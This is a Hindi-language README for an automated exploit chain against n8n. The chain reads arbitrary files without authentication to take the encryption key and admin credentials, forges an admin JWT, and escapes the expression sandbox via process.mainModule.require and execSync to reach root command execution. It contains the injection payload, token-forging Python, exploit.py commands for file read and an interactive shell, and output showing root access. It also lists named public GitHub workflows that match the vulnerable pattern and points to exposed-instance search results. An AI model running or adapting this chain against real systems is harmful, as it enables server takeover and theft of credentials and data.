
n8n के लिए स्वचालित शोषण श्रृंखला जो बिना प्रमाणीकरण के मनमाना फ़ाइल पढ़ने, एडमिन टोकन जालसाज़ी, और एक्सप्रेशन इंजेक्शन के माध्यम से सैंडबॉक्स बाईपास करके रिमोट कोड निष्पादन प्राप्त करती है।
बिना प्रमाणीकरण के मनमाना फ़ाइल रीड → एडमिन टोकन फोर्ज → सैंडबॉक्स बाईपास → RCE
n8n पर पूर्ण बिना प्रमाणीकरण वाली RCE चेन:
यह एक्सपोज़र वर्जन-आधारित है। एक्सपोज़र के संदर्भ में, सार्वजनिक रूप से सुलभ असुरक्षित n8n इंस्टेंस मौजूद हैं।
LeakIX परिणाम: एक्सपोज़्ड इंस्टेंस देखें
यह एक्सप्लॉइट Cyera राइट-अप से स्वतंत्र रूप से विकसित किया गया था (पूरा होने के बाद खोजा गया)। मुख्य अंतर:
| Cyera (मूल शोध) | यह एक्सप्लॉइट |
|---|
| फ़ाइल रीड | AI नॉलेज बेस में लोड करें → चैट के माध्यम से क्वेरी करें | सीधा HTTP रिस्पॉन्स |
| पूर्वापेक्षाएँ | चैट वर्कफ़्लो + AI इंटीग्रेशन | फ़ाइल अपलोड वाला कोई भी फॉर्म |
| RCE विधि | "Execute Command" नोड (डिफ़ॉल्ट रूप से अक्षम) | एक्सप्रेशन इंजेक्शन (डिफ़ॉल्ट इंस्टॉल पर काम करता है) |
| ऑटोमेशन | मैनुअल/कॉन्सेप्चुअल डेमो | पूरी तरह से स्वचालित Python स्क्रिप्ट |
दोनों दृष्टिकोणों के लिए विशिष्ट वर्कफ़्लो कॉन्फ़िगरेशन की आवश्यकता होती है। Cyera को चैट + AI इंटीग्रेशन चाहिए, इस एक्सप्लॉइट को Respond नोड वाले फॉर्म की आवश्यकता है। विवरण के लिए सीमाएँ देखें।
┌───────────────────────────────────────────────────────────┐
│ बिना प्रमाणीकरण │
├───────────────────────────────────────────────────────────┤
│ 1. /proc/self/environ पढ़ें → HOME डायरेक्टरी खोजें │
│ 2. $HOME/.n8n/config पढ़ें → encryptionKey प्राप्त करें │
│ 3. $HOME/.n8n/database.sqlite पढ़ें → एडमिन क्रेडेंशियल │
├───────────────────────────────────────────────────────────┤
│ टोकन फोर्ज │
├───────────────────────────────────────────────────────────┤
│ 4. encryptionKey से JWT सीक्रेट प्राप्त करें │
│ 5. एडमिन सत्र कुकी फोर्ज करें │
├───────────────────────────────────────────────────────────┤
│ प्रमाणित RCE │
├───────────────────────────────────────────────────────────┤
│ 6. एक्सप्रेशन इंजेक्शन के साथ वर्कफ़्लो बनाएं │
│ 7. this.process.mainModule.require के माध्यम से सैंडबॉक्स │
│ बाईपास │
│ 8. मनमाने कमांड निष्पादित करें │
└───────────────────────────────────────────────────────────┘
commit c8d604d2c466dd84ec24f4f092183d86e43f2518
Author: mfsiega
Date: Thu Nov 13 11:51:40 2025 +0100
Merge commit from fork
प्रसिद्ध "Merge commit from fork" - जब आप यह देखते हैं, तो किसी ने कुछ मसालेदार खोजा है। 🌶️
// पहले (असुरक्षित)
const files = (context.getBodyData().files as IDataObject) ?? {};
await context.nodeHelpers.copyBinaryFile(file.filepath, ...)
// बाद में (ठीक किया गया)
a.ok(req.contentType === 'multipart/form-data', 'Expected multipart/form-data');
Content-Type: application/json भेजें → filepath को नियंत्रित करें → कोई भी फ़ाइल पढ़ें।
n8n उपयोगकर्ता कोड (Code Node, एक्सप्रेशन) को vm2/isolated-vm का उपयोग करके सैंडबॉक्स करता है। अन्य RCE वेक्टर:
| तकनीक | स्थिति |
|---|---|
| Execute Command Node | डिफ़ॉल्ट रूप से अक्षम (N8N_ALLOW_EXEC_COMMAND=false) |
| SSH/HTTP Nodes | रिमोट सर्वर पर निष्पादित होते हैं, n8n होस्ट पर नहीं |
| Pyodide सैंडबॉक्स एस्केप | CVE-2025-68668 - Python Code Node की आवश्यकता है |
| एक्सप्रेशन इंजेक्शन | CVE-2025-68613 - डिफ़ॉल्ट इंस्टॉल पर काम करता है |
मैंने एक्सप्रेशन इंजेक्शन का उपयोग किया क्योंकि यह डिफ़ॉल्ट सेटिंग्स वाले किसी भी n8n पर काम करता है - किसी विशेष नोड या कॉन्फ़िगरेशन की आवश्यकता नहीं है। Pyodide बाईपास (CVE-2025-68668) के लिए Python Code Node की आवश्यकता होती है जो सभी इंस्टेंस पर उपलब्ध नहीं हो सकता है।
={{ (function() {
var require = this.process.mainModule.require;
var execSync = require("child_process").execSync;
return execSync("id").toString();
})() }}
n8n एक्सप्रेशन के पास this.process.mainModule.require तक पहुंच होती है → पूर्ण सैंडबॉक्स एस्केप।
# JWT सीक्रेट व्युत्पत्ति
jwt_secret = sha256(encryption_key[::2]).hexdigest()
# JWT हैश
jwt_hash = b64encode(sha256(f"{email}:{password_hash}")).decode()[:10]
# टोकन फोर्ज करें
token = jwt.encode({"id": user_id, "hash": jwt_hash}, jwt_secret, "HS256")
docker compose up -d
# सेटअप के लिए ~60 सेकंड प्रतीक्षा करें
# फॉर्म: http://localhost:32790/form/vulnerable-form
# क्रेडेंशियल: [email protected] / ExploitLab123!
# मनमाना फ़ाइल पढ़ें
uv run python exploit.py http://localhost:5678 /form/vulnerable-form --read /etc/passwd
# कमांड के साथ पूर्ण चेन
uv run python exploit.py http://localhost:5678 /form/vulnerable-form --cmd "id"
# इंटरैक्टिव शेल
uv run python exploit.py http://localhost:5678 /form/vulnerable-form
╔═══════════════════════════════════════════════════════════════╗
║ CVE-2026-21858 + CVE-2025-68613 - n8n फुल चेन ║
║ मनमाना फ़ाइल रीड → टोकन फोर्ज → सैंडबॉक्स बाईपास → RCE ║
╚═══════════════════════════════════════════════════════════════╝
[*] लक्ष्य: http://localhost:5678/form/vulnerable-form
[*] वर्जन: 1.65.0 (असुरक्षित)
[x] HOME डायरेक्टरी
[+] HOME डायरेक्टरी: /root
[x] एन्क्रिप्शन कुंजी
[+] एन्क्रिप्शन कुंजी: yusrXZV1...
[x] डेटाबेस
[+] डेटाबेस: 1327104 बाइट्स
[x] एडमिन उपयोगकर्ता
[+] एडमिन उपयोगकर्ता: [email protected]
[x] टोकन फोर्ज
[+] टोकन फोर्ज: OK
[x] एडमिन एक्सेस
[+] एडमिन एक्सेस: GRANTED!
[+] कुकी: n8n-auth=eyJpZCI6IjljMWI5MzU0LTI5NzQtNGZlOS05OTc2LWVmZDM3ZWEyNWFlMiIsImhhc2giOiJGYzVQZjVkUDRxIn0.TrIjHV3_6pw6Syi4qme5larZeQElBJmo4Y_eSgL9_M0
[x] RCE
[+] RCE: OK
uid=0(root) gid=0(root) groups=0(root)
यह "किसी भी n8n को हैक करने वाला" एक्सप्लॉइट नहीं है। इसे काम करने के लिए विशिष्ट शर्तों की आवश्यकता होती है:
| आवश्यकता | विवरण |
|---|---|
| फ़ाइल अपलोड वाला फॉर्म | लक्ष्य के पास फ़ाइल अपलोड फ़ील्ड वाला फॉर्म वर्कफ़्लो होना चाहिए |
| Respond to Webhook नोड | वर्कफ़्लो को HTTP रिस्पॉन्स में फ़ाइल सामग्री लौटानी चाहिए |
| वर्कफ़्लो सक्रिय | फॉर्म वर्कफ़्लो सक्रिय होना चाहिए |
| बिना प्रमाणीकरण एक्सेस | फॉर्म सार्वजनिक रूप से सुलभ होना चाहिए (कोई प्रमाणीकरण नहीं) |
असुरक्षित वर्कफ़्लो कॉन्फ़िगरेशन का उदाहरण:
{
"nodes": [
{
"name": "Form Trigger",
"type": "n8n-nodes-base.formTrigger",
"parameters": {
"responseMode": "responseNode",
"formFields": {
"values": [{ "fieldLabel": "document", "fieldType": "file" }]
}
}
},
{
"name": "Respond",
"type": "n8n-nodes-base.respondToWebhook",
"parameters": {
"respondWith": "binary",
"inputDataFieldName": "document"
}
}
],
"connections": {
"Form Trigger": { "main": [[{ "node": "Respond" }]] }
}
}
मुख्य तत्व हैं: fieldType: "file" + respondWith: "binary"। यह पैटर्न फ़ाइल प्रोसेसिंग वर्कफ़्लो (कन्वर्टर, इमेज रिसाइज़र, डॉक्यूमेंट प्रोसेसर) में आम है।
काम करता है:
काम नहीं करता:
नोट: कमजोरी (मनमाना फ़ाइल रीड) एक्सफिल्ट्रेशन विधि की परवाह किए बिना ट्रिगर होती है। Respond नोड सामग्री प्राप्त करने का सिर्फ एक तरीका है। वैकल्पिक तरीके (OOB, अन्य आउटपुट नोड) वर्कफ़्लो कॉन्फ़िगरेशन के आधार पर काम कर सकते हैं।
ब्लाइंड एक्सप्लॉइटेशन: यदि कोई respond नोड मौजूद नहीं है, तो फ़ाइल अभी भी n8n द्वारा पढ़ी जाती है लेकिन HTTP रिस्पॉन्स के माध्यम से एक्सफिल्ट्रेट नहीं की जा सकती। वैकल्पिक तकनीकों (OOB, टाइमिंग) की आवश्यकता होगी।
असुरक्षित पैटर्न (Form Trigger + फ़ाइल अपलोड + Respond to Webhook) सार्वजनिक GitHub रिपॉजिटरी में मौजूद है।
नोट: लोकप्रिय n8n वर्कफ़्लो रिपॉजिटरी (>100⭐) इस पैटर्न का उपयोग नहीं करते हैं। ये कम्युनिटी/व्यक्तिगत प्रोजेक्ट हैं:
| वर्कफ़्लो फ़ाइल | फ़ाइल फ़ील्ड | respondWith |
|---|---|---|
| ifcpipeline/.../ifcpipeline.json | IDS, IFC (x2) | binary ⚠️ |
| nano-banana-studio/.../03_multi_asset_processor.json | Images, Audio, Markdown | json |
| ticket-omnichannel-chat/.../Knowledge_base.json | Document(PDF) | text |
| ai_resume_project/resume_rag.json | File Upload | allIncomingItems |
| fkgpt-portfolio/.../audio-transcription-analysis.json | Audio File | text |
| n8n-backup/.../K3DwHQs0fnnm5UK0.json | file | text |
| voltixLandingPage/.../chatbotvoltix.json | Upload File | default |
| n8n-backup-zm/.../Ky1AiuIMbY1zoTLE.json | file | default |
| 8n8Workflows/.../3WoSqiBnZ56RtWMb.json | Upload your document | default |
| learn_earn_ai_insta/.../My workflow.json | upload your file | default |
| finintworkshop/.../API using n8n (ToT).json |
ये कम्युनिटी-योगदान वाले वर्कफ़्लो हैं। कोई भी आधिकारिक n8n.io टेम्पलेट इस असुरक्षित पैटर्न का उपयोग नहीं करता है।
| file |
json |